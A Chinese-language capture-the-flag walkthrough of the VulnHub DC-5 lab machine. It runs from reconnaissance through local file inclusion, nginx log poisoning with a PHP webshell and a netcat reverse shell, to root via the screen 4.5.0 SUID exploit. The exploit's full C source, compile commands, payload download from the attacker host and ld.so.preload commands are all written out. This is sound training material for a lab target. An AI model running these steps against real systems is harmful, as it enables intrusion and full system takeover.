靶机下载地址:https://www.vulnhub.com/entry/dc-5,314/
KALI地址:192.168.16.109
靶机地址:192.168.16.1
一.信息收集 1.主机发现
使用如下命令来发现靶机
netdiscover -r 192.168.16.109
如下图发现了靶机地址
2.主机扫描
这里使用nmap工具,命令如下
nmap -A -T4 -p- 192.168.16.1
扫描结果如下,发现开放的端口少的可怜
3.目录扫描
虽然少的可怜但是开放了80端口,肯定要用dirb来扫一下目录啊,命令如下
dirb http://192.168.16.1
如下图,发现目录扫描出来的东西也少的可怜
4.网页信息收集
打开发现是有五个页面可以点击的,前面四个没有什么好看的,目录扫描也没有扫描出来什么东西,但是最后一个目录有可以写入的东西也就是contact.php
这个目录,但是写入东西然后发送之后,发现是GET传参,如下图。
但是经过了一系列的斗争搜索,真没发现什么可以利用的,然后这里我们使用kali的whatweb命令查看是什么结构的网站,如下图。
但是这样扫描也没有发现什么东西, 只能发现这个东西是nginx
的网站,所以我不服,用dirsearch
这个工具来重新扫描一下目录,这个工具可以自行百度下载,果然是kali的没有扫出来,如下图。
看样子是,一个脚页的名字,感觉没啥用,如下图访问。
不对,在自己边做边写文章的时候注意到,上面访问contact.php
的时候,下面的年份是2020年,怎么访问这个是2018年,于是回到上面contact.php
写入的地方刷新也就是thankyou.php
的地方,证明了我的猜想,那么极有可能是这个地方包含了footer.php
这个文件才能实现刷新,如下图,发送文件thankyou.php
的地方,年份从2020变成了2018。
二.漏洞利用 1.文件包含
既然是猜测是文件包含漏洞,那么这里猜一猜变量是否为常见的file
,如下图,还真是file
,如果不行就只能爆破试试了。
既然有文件包含,其实我想的是用/var/log/auth.log
来写入一句话木马,但是没有开放22端口,只能另寻办法,上面信息收集,发现是nginx
的网站,那么看看能不能包含nginx
的日志文件,在网上寻找了一番发现,我们需要利用的是一个叫做访问日志的东西,也就是access.log
,如下图。
根据资料查找,发现路径是/var/log/nginx/access.log
如下图,发现可以访问,而且可以发现下面的内容都是我们访问过的URL地址的内容。
BP抓包,在里面修改包内容,在正常的URL地址后面根上一句话木马,如下图。
然后我们在查看日志内容是否有刚才我们访问的东西,如下图,发现是有的。
如下图,然后我们在用蚁剑连接,发现可以连接成功的!
由于蚁剑的终端可能会经常出毛病,所以这里直接nc反弹到kali里去了,如下图。
三.提权
既然反弹成功,这里查看是否有python,命令是whereis python
,如下图,发现是有python的
然后这里使用python来更换shell,命令是python -c "import pty; pty.spawn('/bin/bash')"
。
然后我们在来三问,如下图。
然后查看具有SUID权限的命令,命令如下
find / -perm /4000 2>/dev/null
/: 对应的是根目录
-perm /4000: 查找SUID权限
2> :输出错误到空文件
如下图,发现了可以SUID的命令
然后我们KALI找一下是否有漏洞,使用命令searchsploit screen 4.5.0
,如下图,然后把文件复制到桌面查看
cp /usr/share/exploitdb/exploits/linux/local/41154.sh ./
cp /usr/share/exploitdb/exploits/linux/local/41152.txt ./
复制了我直接开始编译,发现是失败的,我就郁闷了为啥失败,然后打开看了一下文件,才明白了咋回事,首先看下面这个图,把红色框框的代码复制出来。放在libhax.c
的文件里, 然后再使用gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
编译即可,这里我放在当前目录下面就没有加/tmp
目录
上面代码如下
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
编译成功之后,再和上面操作一样把下面部分编译即可,如下图,我这里的编译命令是gcc -o rootshell rootshell.c
代码如下
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
做完这些操作之后发现就生成了两个文件分别是rootshell
和libhax.so
,最后就可以把生成的文件放在靶机的/tmp
目录下面了,这里可以使用kali自带的web服务service start apache2
来开启WEB服务,然后把文件放在KALI的/var/www/html
目录下面,最后再回到靶机用wget
命令下载即可,如下图靶机下载成功。
最后我们再执行脚本里面提示的命令即可,前提是文件要放在靶机的/tmp
目录下面,如下命令
cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
screen -ls
/tmp/rootshell
如下图提权成功,先来三问,发现成功提权到了root权限!!
然后我们就可以去root
目录查看flag,如下图,完结!
四.总结
记得SUID提权的方式,和查找命令是find / -perm /4000 2>/dev/null